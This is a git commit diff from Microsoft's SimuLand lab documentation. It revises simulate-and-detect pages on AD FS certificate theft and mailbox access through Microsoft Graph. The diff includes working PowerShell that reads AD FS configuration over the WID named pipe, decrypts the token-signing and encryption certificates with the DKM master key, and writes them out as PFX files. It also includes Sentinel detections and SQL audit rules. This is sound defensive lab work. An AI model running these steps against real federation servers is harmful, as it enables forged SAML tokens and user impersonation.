зеркало из https://github.com/Azure/SimuLand.git
Updated detections, simulation steps and Lab01 documentation
This commit is contained in:
Родитель
30465c077b
Коммит
603230574a
|
@ -2,27 +2,30 @@
|
|||
|
||||
A threat actor with the right permissions and credentials can access and collect confidential information of interest right away. One example would be the collection of e-mails. An adversary can use Azure AD registered applications with `Mail.Read` or `Mail.ReadWrite` permissions to collect e-mails from a signed-in user mailbox or all mailboxes. This would depend on the type of permission (Delegated or Role) granted to the application. In this document, we are going to access the mailbox of a user via an application with `Mail.ReadWrite` delegated permissions.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
|
||||
## Preconditions
|
||||
* Authorization
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions: Mail.ReadWrite
|
||||
* Endpoint: ADFS01
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session where we [got a Microsoft Graph oauth access token](../credential-access/getOAuthTokenWithSAMLAssertion.md) to read mail.
|
||||
* Microsoft Graph OAuth access token
|
||||
* Use the output from the [previous step](../credential-access/getOAuthTokenWithSAMLAssertion.md) as the variable `$OAuthAccessToken`. Make sure you request the access token with an application that has the right permissions to read mail.
|
||||
* Authorization:
|
||||
* Resource: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions
|
||||
* Mail.ReadWrite
|
||||
* Input:
|
||||
* Microsoft Graph OAuth access token
|
||||
|
||||
## Simulate & Detect
|
||||
* [Verify Microsoft Graph Access Token](#verify-microsoft-graph-access-token)
|
||||
* [Read Signed-In User Mail](#read-signed-in-user-mail)
|
||||
* [Detect Mail Items being Accessed](#detect-mail-items-being-accessed)
|
||||
## Simulation Steps
|
||||
|
||||
## Verify Microsoft Graph Access Token
|
||||
### Verify Microsoft Graph Access Token
|
||||
We need to make sure our access token has permissions to read mail. You can get that information while getting the OAuth access token with a SAML assertion in the [previous step](getOAuthTokenWithSAMLAssertion.md)
|
||||
|
||||
![](../../resources/images/simulate_detect/collection/mailAccessDelegatedPermissions/2021-05-19_01_msgraph_access_token.png)
|
||||
|
||||
## Read Signed-In User Mail
|
||||
### Read Signed-In User Mail
|
||||
|
||||
```PowerShell
|
||||
$uri = "https://graph.microsoft.com/v1.0/me/messages"
|
||||
|
@ -39,15 +42,19 @@ $mailbox.value[0].subject
|
|||
|
||||
We do not have to parse the messages in this step. The simple action to access the mailbox generates telemetry that we can aggregate and create detections with.
|
||||
|
||||
## Detect Mail Items being Accessed
|
||||
## Detection
|
||||
|
||||
### Detect Mail Items being Accessed
|
||||
|
||||
From a defensive perspective, we can audit access to a mailbox with the `MailItemsAccessed` mailbox audit action available as part of `Exchange mailbox auditing`.
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
* [Exchange workflow MailItemsAccessed operation anomaly](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/MailItemsAccessedTimeSeries.yaml)
|
||||
|
||||
### Microsoft 365 Hunting Queries
|
||||
#### Microsoft 365 Hunting Queries
|
||||
|
||||
* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20%5BNobelium%5D.md)
|
||||
* [OAuth Apps reading mail both via GraphAPI and directly [Nobelium]](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20%5BNobelium%5D.md)
|
||||
|
||||
## Output
|
||||
|
|
|
@ -1,64 +0,0 @@
|
|||
# Decrypt Active Directory Federation Services (AD FS) Encryption Certificate
|
||||
|
||||
After [extracting the AD FS encryption certificate](extractADFSEncryptionCertificate.md) and [obtaining the AD FS DKM master key](exportADFSDKMMasterKeyFromDC.md), we can use the master key value to derive a symmetric key and decrypt the AD FS certificate.
|
||||
|
||||
## Preconditions
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session on one of the endpoints where we exported AD FS certificates (token signing and encryption) and [obtained the AD FS DKM master key](exportADFSDKMMasterKeyFromDC.md) from to go through the simulation steps.
|
||||
* [AD FS DKM Master Key](exportADFSDKMMasterKeyFromDC.md)
|
||||
* Use the output from this step and pass it to the PowerShell commands below as the variable `$key`.
|
||||
* AD FS encryption certificate (Encrypted format)
|
||||
* After [extracting the AD FS encryption certificate](extractADFSEncryptionCertificate.md), the output is saved to the variable `$encEncryptionPfx`. You can use it in the PowerShell commands below.
|
||||
|
||||
## Decrypt Encryption Certificate
|
||||
|
||||
```PowerShell
|
||||
$encPfxBytes=[System.Convert]::FromBase64String($encEncryptionPfx)
|
||||
$guid= $encPfxBytes[8..25] # 18 bytes
|
||||
$KDF_oid= $encPfxBytes[26..36] # 11 bytes
|
||||
$MAC_oid= $encPfxBytes[37..47] # 11 byte
|
||||
$enc_oid= $encPfxBytes[48..58] # 11 bytes
|
||||
$nonce= $encPfxBytes[59..92] # 34 bytes
|
||||
$iv= $encPfxBytes[93..110] # 18 bytes
|
||||
$ciphertext = $encPfxBytes[115..$($encPfxBytes.Length-33)]
|
||||
$cipherMAC = $encPfxBytes[$($encPfxBytes.Length-32)..$($encPfxBytes.Length)]
|
||||
|
||||
# Create the label
|
||||
$label = $enc_oid + $MAC_oid
|
||||
|
||||
# Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, but MS is using bytes (?)
|
||||
# As the key size is only 16 bytes (128 bits), no need to loop.
|
||||
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$key)
|
||||
$hmacOutput = $hmac.ComputeHash( @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $nonce[2..33] + @(0x00,0x00,0x00,0x30) )
|
||||
$decryptionKey = $hmacOutput[0..15]
|
||||
Write-Verbose "Decryption key:"
|
||||
Write-Verbose "$($decryptionKey|Format-Hex)"
|
||||
# Create a decryptor and decrypt
|
||||
$Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
|
||||
$Crypto.Mode="CBC"
|
||||
$Crypto.KeySize = 128
|
||||
$Crypto.BlockSize = 128
|
||||
$Crypto.Padding = "None"
|
||||
$Crypto.Key = $decryptionKey
|
||||
$Crypto.IV = $iv[2..17]
|
||||
$decryptor = $Crypto.CreateDecryptor()
|
||||
|
||||
# Create a memory stream and write the cipher text to it through CryptoStream
|
||||
$ms = New-Object System.IO.MemoryStream
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cs.Write($ciphertext,0,$ciphertext.Count)
|
||||
$cs.Close()
|
||||
$cs.Dispose()
|
||||
|
||||
# Get the results
|
||||
$encryptionPfx = $ms.ToArray()
|
||||
$ms.Close()
|
||||
$ms.Dispose()
|
||||
```
|
||||
|
||||
## Output
|
||||
|
||||
Use the variable `$encryptionPfx` (cipher text) in the next step to [export the AD FS encryption certificate as a PFX file](exportADFSEncryptionCertAsPfxFile.md).
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -1,66 +0,0 @@
|
|||
# Decrypt Active Directory Federation Services (AD FS) Token Signing Certificate
|
||||
|
||||
After [extracting the AD FS token signing certificate](extractADFSTokenSigningCertificate.md) and [obtaining the AD FS DKM master key](exportADFSDKMMasterKeyFromDC.md), we can use the master key value to derive a symmetric key and decrypt the AD FS certificate.
|
||||
|
||||
## Preconditions
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session on one of the endpoints where we exported AD FS certificates (token signing and encryption) and [obtained the AD FS DKM master key](exportADFSDKMMasterKeyFromDC.md) from to go through the simulation steps.
|
||||
* [AD FS DKM Master Key](exportADFSDKMMasterKeyFromDC.md)
|
||||
* Use the output from this step and pass it to the PowerShell commands below as the variable `$key`.
|
||||
* AD FS token signing certificate (Encrypted format)
|
||||
* After [extracting the token signing certificate](extractADFSTokenSigningCertificate.md), the output is saved to the variable `$encTokenSigningPfx`. You can use it in the PowerShell commands below.
|
||||
|
||||
## Decrypt Token Signing Certificate
|
||||
|
||||
```PowerShell
|
||||
$encPfxBytes=[System.Convert]::FromBase64String($encTokenSigningPfx)
|
||||
$guid= $encPfxBytes[8..25] # 18 bytes
|
||||
$KDF_oid= $encPfxBytes[26..36] # 11 bytes
|
||||
$MAC_oid= $encPfxBytes[37..47] # 11 byte
|
||||
$enc_oid= $encPfxBytes[48..58] # 11 bytes
|
||||
$nonce= $encPfxBytes[59..92] # 34 bytes
|
||||
$iv= $encPfxBytes[93..110] # 18 bytes
|
||||
$ciphertext = $encPfxBytes[115..$($encPfxBytes.Length-33)]
|
||||
$cipherMAC = $encPfxBytes[$($encPfxBytes.Length-32)..$($encPfxBytes.Length)]
|
||||
|
||||
# Create the label
|
||||
$label = $enc_oid + $MAC_oid
|
||||
|
||||
# Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, but MS is using bytes (?)
|
||||
# As the key size is only 16 bytes (128 bits), no need to loop.
|
||||
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$key)
|
||||
$hmacOutput = $hmac.ComputeHash( @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $nonce[2..33] + @(0x00,0x00,0x00,0x30) )
|
||||
$decryptionKey = $hmacOutput[0..15]
|
||||
Write-Verbose "Decryption key:"
|
||||
Write-Verbose "$($decryptionKey|Format-Hex)"
|
||||
# Create a decryptor and decrypt
|
||||
$Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
|
||||
$Crypto.Mode="CBC"
|
||||
$Crypto.KeySize = 128
|
||||
$Crypto.BlockSize = 128
|
||||
$Crypto.Padding = "None"
|
||||
$Crypto.Key = $decryptionKey
|
||||
$Crypto.IV = $iv[2..17]
|
||||
$decryptor = $Crypto.CreateDecryptor()
|
||||
|
||||
# Create a memory stream and write the cipher text to it through CryptoStream
|
||||
$ms = New-Object System.IO.MemoryStream
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cs.Write($ciphertext,0,$ciphertext.Count)
|
||||
$cs.Close()
|
||||
$cs.Dispose()
|
||||
|
||||
# Get the results
|
||||
$tokenSigningPfx = $ms.ToArray()
|
||||
$ms.Close()
|
||||
$ms.Dispose()
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_27_decrypt_token_signing_certificate.png)
|
||||
|
||||
## Output
|
||||
|
||||
Use the variable `$tokenSigningPfx` (cipher text) in the next step to [export the AD FS token signing certificate as a PFX file](exportADFSTokenSigningCertAsPfxFile.md).
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -0,0 +1,116 @@
|
|||
# Export Active Directory Federation Services (AD FS) Certificates as PFX Files With DKM Master Key
|
||||
|
||||
Federation servers require token-signing certificates to prevent attackers from altering or counterfeiting security tokens to gain unauthorized access to Federated resources. The AD FS certificates (token signing and decryption) are stored in the AD FS database configuration, and they are encrypted using Distributed Key Manager (DKM) APIs. DKM is a client-side functionality that uses a set of secret keys to encrypt and decrypt information. Only members of a specific security group in Active Directory Domain Services (AD DS) can access those keys in order to decrypt the data that is encrypted by DKM.
|
||||
|
||||
when the primary AD FS farm is configured, an AD container (AD FS DKM container) is created in the domain controller and the DKM master key is stored as an attribute of an AD contact object located inside of the container. The AD FS DKM master key can then be used to derive a symmetric key and decrypt AD FS certificates.
|
||||
|
||||
A threat actor could use the `AD FS configuration settings` to extract sensitive information such as AD FS certificates (encrypted) and get the path to the AD FS DKM container in the domain controller. The `AD FS DKM master key` can then be retrieved from the AD container and used to decrypt AD FS certificate. Finally, the AD FS token signing certificate can be used to sign SAML tokens and impersonate users in a federated environment.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Output](#output)
|
||||
* [Variations](#variations)
|
||||
|
||||
## Preconditions
|
||||
|
||||
* Input:
|
||||
* AD FS Configuration Settings
|
||||
* AD FS DKM Master Key
|
||||
|
||||
## Simulation Steps
|
||||
|
||||
### Extract AD FS Token Signing Certificate
|
||||
|
||||
```PowerShell
|
||||
[xml]$xml=$settings
|
||||
$encTokenSigningPfx=$xml.ServiceSettingsData.SecurityTokenService.AdditionalSigningTokens.CertificateReference.EncryptedPfx
|
||||
$encPfxBytes=[System.Convert]::FromBase64String($encTokenSigningPfx)
|
||||
$encPfxBytes | Format-Hex
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_12_adfs_get_encrypted_token_signing_cert.png)
|
||||
|
||||
### Extract AD FS Encryption Certificate
|
||||
|
||||
```PowerShell
|
||||
[xml]$xml=$settings
|
||||
$encEncryptionPfx=$xml.ServiceSettingsData.SecurityTokenService.AdditionalEncryptionTokens.CertificateReference.EncryptedPfx
|
||||
$encPfxBytes=[System.Convert]::FromBase64String($encEncryptionPfx)
|
||||
$encPfxBytes | Format-Hex
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_12_adfs_get_encrypted_encryption_cert.png)
|
||||
|
||||
|
||||
### Decrypt Certificates
|
||||
|
||||
```PowerShell
|
||||
$key = '<ADFS-DKM-KEY>'
|
||||
|
||||
$certs = [ordered]@{}
|
||||
$certs["signing"] = $encTokenSigningPfx
|
||||
$certs["encryption"] = $encEncryptionPfx
|
||||
|
||||
# Iterate over certificate objets
|
||||
foreach ($certType in $certs.Keys) {
|
||||
$encPfxBytes=[System.Convert]::FromBase64String($certs[$certType])
|
||||
$guid= $encPfxBytes[8..25] # 18 bytes
|
||||
$KDF_oid= $encPfxBytes[26..36] # 11 bytes
|
||||
$MAC_oid= $encPfxBytes[37..47] # 11 byte
|
||||
$enc_oid= $encPfxBytes[48..58] # 11 bytes
|
||||
$nonce= $encPfxBytes[59..92] # 34 bytes
|
||||
$iv= $encPfxBytes[93..110] # 18 bytes
|
||||
$ciphertext = $encPfxBytes[115..$($encPfxBytes.Length-33)]
|
||||
$cipherMAC = $encPfxBytes[$($encPfxBytes.Length-32)..$($encPfxBytes.Length)]
|
||||
|
||||
# Create the label
|
||||
$label = $enc_oid + $MAC_oid
|
||||
|
||||
# Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, but MS is using bytes (?)
|
||||
# As the key size is only 16 bytes (128 bits), no need to loop.
|
||||
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$key)
|
||||
$hmacOutput = $hmac.ComputeHash( @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $nonce[2..33] + @(0x00,0x00,0x00,0x30) )
|
||||
$decryptionKey = $hmacOutput[0..15]
|
||||
Write-Verbose "Decryption key:"
|
||||
Write-Verbose "$($decryptionKey|Format-Hex)"
|
||||
# Create a decryptor and decrypt
|
||||
$Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
|
||||
$Crypto.Mode="CBC"
|
||||
$Crypto.KeySize = 128
|
||||
$Crypto.BlockSize = 128
|
||||
$Crypto.Padding = "None"
|
||||
$Crypto.Key = $decryptionKey
|
||||
$Crypto.IV = $iv[2..17]
|
||||
$decryptor = $Crypto.CreateDecryptor()
|
||||
|
||||
# Create a memory stream and write the cipher text to it through CryptoStream
|
||||
$ms = New-Object System.IO.MemoryStream
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cs.Write($ciphertext,0,$ciphertext.Count)
|
||||
$cs.Close()
|
||||
$cs.Dispose()
|
||||
|
||||
# Get the results
|
||||
$decryptedBytes = $ms.ToArray()
|
||||
$ms.Close()
|
||||
$ms.Dispose()
|
||||
|
||||
$CertificatePath = "C:\ProgramData\ADFS_$($certType)_$(get-date -format yyyy-MM-ddTHHmmssff).pfx"
|
||||
$decryptedBytes | Set-Content $CertificatePath -Encoding Byte
|
||||
|
||||
Get-item $CertificatePath
|
||||
}
|
||||
```
|
||||
|
||||
## Output
|
||||
* AD FS Encryption Certificate
|
||||
* AD FS Token Signing Certificate
|
||||
|
||||
## Variations
|
||||
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
||||
* [Token-Signing Certificates | Microsoft Docs](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/design/token-signing-certificates#:~:text=%20A%20token-signing%20certificate%20must%20meet%20the%20following,in%20the%20personal%20store%20of%20the...%20More%20)
|
|
@ -0,0 +1,134 @@
|
|||
# Export Active Directory Federation Services (AD FS) Configuration Settings Locally via Named Pipe
|
||||
|
||||
## Description
|
||||
|
||||
The AD FS configuration settings contains properties of the Federation Service and can be stored in either a Microsoft SQL server database or a `Windows Internal Database (WID)`. You can choose either one, but not both. The `SimuLand` project uses a `WID` as the AD FS configuration database.
|
||||
|
||||
The AD FS configuration settings contains sensitive information such as the AD FS token signing certificate (encrypted format) which can be exported and decrypted to sign SAML tokens and impersonate users in a hybrid environment.
|
||||
|
||||
Locally, the AD FS WID does not have its own management user interface (UI), but one could connect to it via a specific `named pipe`.
|
||||
Depending on the WID version, one could use the following named pipes to connect to the AD FS database and query its configuration settings:
|
||||
|
||||
* **WID 2008**: `\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query`
|
||||
* **WID 2012+**: `\\.\pipe\MICROSOFT##WID\tsql\query`
|
||||
|
||||
## Table of Contents
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
* [Variations](#variations)
|
||||
|
||||
## Preconditions
|
||||
* Integrity level: medium
|
||||
* Authorization:
|
||||
* Resource: AD FS Database
|
||||
* Identity:
|
||||
* AD FS Service Account
|
||||
* Local Administrator
|
||||
* AD FS Server
|
||||
* Services:
|
||||
* Active Directory Federation Services (ADFSSRV)
|
||||
|
||||
## Simulation Steps
|
||||
|
||||
### Get Database Connection String via WMI Class
|
||||
|
||||
The named pipe information can be obtained directly from the `ConfigurationDatabaseConnectionString` property of the `SecurityTokenService` class from the WMI `ADFS namespace`.
|
||||
|
||||
1. Connect to the AD FS server via the [Azure Bastion service](../../2_deploy/_helper_docs/connectAzVmAzBastion.md) as the AD FS service account.
|
||||
2. Open PowerShell and run the following commands:
|
||||
|
||||
```PowerShell
|
||||
$ADFS = Get-WmiObject -Namespace root/ADFS -Class SecurityTokenService
|
||||
$conn = $ADFS.ConfigurationDatabaseConnectionString
|
||||
$conn
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_02_get_database_string_wmi_class.png)
|
||||
|
||||
### Connect to the Database and Read Configuration
|
||||
|
||||
3. Use the connection string to connect to the AD FS database (WID) and run a SQL `SELECT` statement to export its configuration settings from the `IdentityServerPolicy.ServiceSettings` table.
|
||||
|
||||
```PowerShell
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList $conn
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT ServiceSettingsData from IdentityServerPolicy.ServiceSettings"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$settings=$SQLreader.GetTextReader(0).ReadToEnd()
|
||||
$SQLreader.Dispose()
|
||||
$settings
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_03_get_database_configuration.png)
|
||||
|
||||
## Detection
|
||||
|
||||
### Detect Named Pipe Connection
|
||||
|
||||
The connection to the AD FS database occurs via the `\\.\pipe\microsoft##wid\tsql\query` named pipe, and we could monitor for the connection to it with `Sysmon Event ID 18 (Pipe Connected)`.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_04_event_sample.png)
|
||||
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
* [AD FS Database Named Pipe Connection Rule](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml)
|
||||
|
||||
### Detect AD FS SQL Statement to Export Service Settings
|
||||
|
||||
If we want to monitor for anyone interacting with the WID database via SQL statements, we would need to [create a server audit and database audit specification](https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/create-a-server-audit-and-database-audit-specification?view=sql-server-ver15). We can use the [Microsot SQL Server PowerShell module](https://docs.microsoft.com/en-us/powershell/module/sqlserver/?view=sqlserver-ps) to connect to the database and create audit rules.
|
||||
|
||||
**Create SQL Audit Rules**:
|
||||
|
||||
1. On the AD FS server (ADFS01), open PowerShell as Administrator.
|
||||
2. Install the SqlServer PowerShell Module.
|
||||
|
||||
```PowerShell
|
||||
Install-Module -Name SqlServer
|
||||
Import-module SqlServer
|
||||
```
|
||||
|
||||
3. Create SQL Audit Rules.
|
||||
|
||||
```PowerShell
|
||||
Invoke-SqlCmd -ServerInstance '\\.\pipe\microsoft##wid\tsql\query' -Query "
|
||||
USE [master]
|
||||
GO
|
||||
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
|
||||
GO
|
||||
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] WITH (STATE = ON)
|
||||
GO
|
||||
USE [ADFSConfigurationV4]
|
||||
GO
|
||||
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] ADD (SELECT, UPDATE ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
|
||||
GO
|
||||
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] WITH (STATE = ON)
|
||||
GO
|
||||
"
|
||||
```
|
||||
|
||||
4. Validate SQL Audit rule by running previous simulation steps either as the AD FS service account or local administrator:
|
||||
* [Get Database Connection String via WMI Class](#get-database-connection-string-via-wmi-class)
|
||||
* [Connect to database and run SQL statement to read configuration](#connect-to-database-and-run-sql-statement-to-read-configuration)
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_04_adfs_sql_event_sample.png)
|
||||
|
||||
#### Azure Sentinel Hunting Queries
|
||||
|
||||
* [AD FS Database Local SQL Statements Rule](https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/SecurityEvent/ADFSDBLocalSqlStatements.yaml)
|
||||
|
||||
## Output
|
||||
* AD FS Configuration Settings
|
||||
|
||||
## Variations
|
||||
* [Export AD FS Configuration Settings via Policy Store Transfer Service](exportADFSConfigSettingsPolicyStore.md)
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
||||
* [The Role of the AD FS Configuration Database | Microsoft Docs](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-the-ad-fs-configuration-database)
|
||||
* [Create a server audit and database audit specification](https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/create-a-server-audit-and-database-audit-specification?view=sql-server-ver15)
|
||||
* [SQL Server Audit Action Groups and Actions](https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions?view=sql-server-ver15)
|
|
@ -1,131 +1,8 @@
|
|||
# Export Active Directory Federation Services (AD FS) Configuration Settings
|
||||
# Export Active Directory Federation Services (AD FS) Configuration Settings via Policy Store Transfer Service
|
||||
|
||||
The AD FS configuration settings contains properties of the Federation Service and can be stored in either a Microsoft SQL server database or a `Windows Internal Database (WID)`. You can choose either one, but not both. The `SimuLand` project uses a `WID` as the AD FS configuration database.
|
||||
|
||||
## Simulate & Detect
|
||||
|
||||
**[Local Variations](#local-variations):**
|
||||
|
||||
* [Named Pipe Connection and AD FS SQL Statement](#named-pipe-connection-and-ad-fs-sql-statement)
|
||||
* [Detect Named Pipe Connection](#detect-named-pipe-connection)
|
||||
* [Detect AD FS SQL Statement to Export Service Settings](#detect-ad-fs-sql-statement-to-export-service-settings)
|
||||
|
||||
**[Remote Variations](#remote-variations):**
|
||||
|
||||
* [AD FS Synchronization](#ad-fs-synchronization)
|
||||
* [Detect AD FS Remote Synchronization Network Connection](#detect-ad-fs-remote-synchronization-network-connection)
|
||||
* [Active Directory Replication Services](#detect-active-directory-replication-services)
|
||||
|
||||
## Local Variations
|
||||
|
||||
## Named Pipe Connection and AD FS SQL Statement
|
||||
|
||||
### Preconditions
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Authorization:
|
||||
* AD FS Service Account
|
||||
* Local Administrator
|
||||
* Services Running:
|
||||
* Active Directory Federation Services (ADFSSRV)
|
||||
|
||||
### Get Database Connection String via WMI Class
|
||||
|
||||
Locally, the AD FS WID does not have its own management user interface (UI), but one could connect to it via a specific `named pipe`. The named pipe information can be obtained directly from the `ConfigurationDatabaseConnectionString` property of the `SecurityTokenService` class from the WMI `ADFS namespace`.
|
||||
|
||||
1. Connect to the AD FS server (ADFS01) via the [Azure Bastion service](../../2_deploy/_helper_docs/connectAzVmAzBastion.md) as the AD FS service account.
|
||||
2. Open PowerShell and run the following commands:
|
||||
|
||||
```PowerShell
|
||||
$ADFS = Get-WmiObject -Namespace root/ADFS -Class SecurityTokenService
|
||||
$conn = $ADFS.ConfigurationDatabaseConnectionString
|
||||
$conn
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_02_get_database_string_wmi_class.png)
|
||||
|
||||
### Connect to the database and run a SQL statement to read configuration
|
||||
|
||||
3. Use the connection string to connect to the AD FS database (WID) and run a SQL `SELECT` statement to export its configuration settings from the `IdentityServerPolicy.ServiceSettings` table.
|
||||
|
||||
```PowerShell
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList $conn
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT ServiceSettingsData from IdentityServerPolicy.ServiceSettings"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$settings=$SQLreader.GetTextReader(0).ReadToEnd()
|
||||
$SQLreader.Dispose()
|
||||
$settings
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_03_get_database_configuration.png)
|
||||
|
||||
## Detect Named Pipe Connection
|
||||
|
||||
The connection to the AD FS database occurs via the `\\.\pipe\microsoft##wid\tsql\query` named pipe, and we could monitor for the connection to it with `Sysmon Event ID 18 (Pipe Connected)`.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_04_event_sample.png)
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
|
||||
* [AD FS Database Named Pipe Connection Rule](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml)
|
||||
|
||||
## Detect AD FS SQL Statement to Export Service Settings
|
||||
|
||||
If we want to monitor for anyone interacting with the WID database via SQL statements, we would need to [create a server audit and database audit specification](https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/create-a-server-audit-and-database-audit-specification?view=sql-server-ver15). We can use the [Microsot SQL Server PowerShell module](https://docs.microsoft.com/en-us/powershell/module/sqlserver/?view=sqlserver-ps) to connect to the database and create audit rules.
|
||||
|
||||
### Create SQL Audit Rules
|
||||
|
||||
1. On the AD FS server (ADFS01), open PowerShell as Administrator.
|
||||
2. Install the SqlServer PowerShell Module.
|
||||
|
||||
```PowerShell
|
||||
Install-Module -Name SqlServer
|
||||
Import-module SqlServer
|
||||
```
|
||||
|
||||
3. Create SQL Audit Rules.
|
||||
|
||||
```PowerShell
|
||||
Invoke-SqlCmd -ServerInstance '\\.\pipe\microsoft##wid\tsql\query' -Query "
|
||||
USE [master]
|
||||
GO
|
||||
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
|
||||
GO
|
||||
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] WITH (STATE = ON)
|
||||
GO
|
||||
USE [ADFSConfigurationV4]
|
||||
GO
|
||||
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] ADD (SELECT, UPDATE ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
|
||||
GO
|
||||
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] WITH (STATE = ON)
|
||||
GO
|
||||
"
|
||||
```
|
||||
|
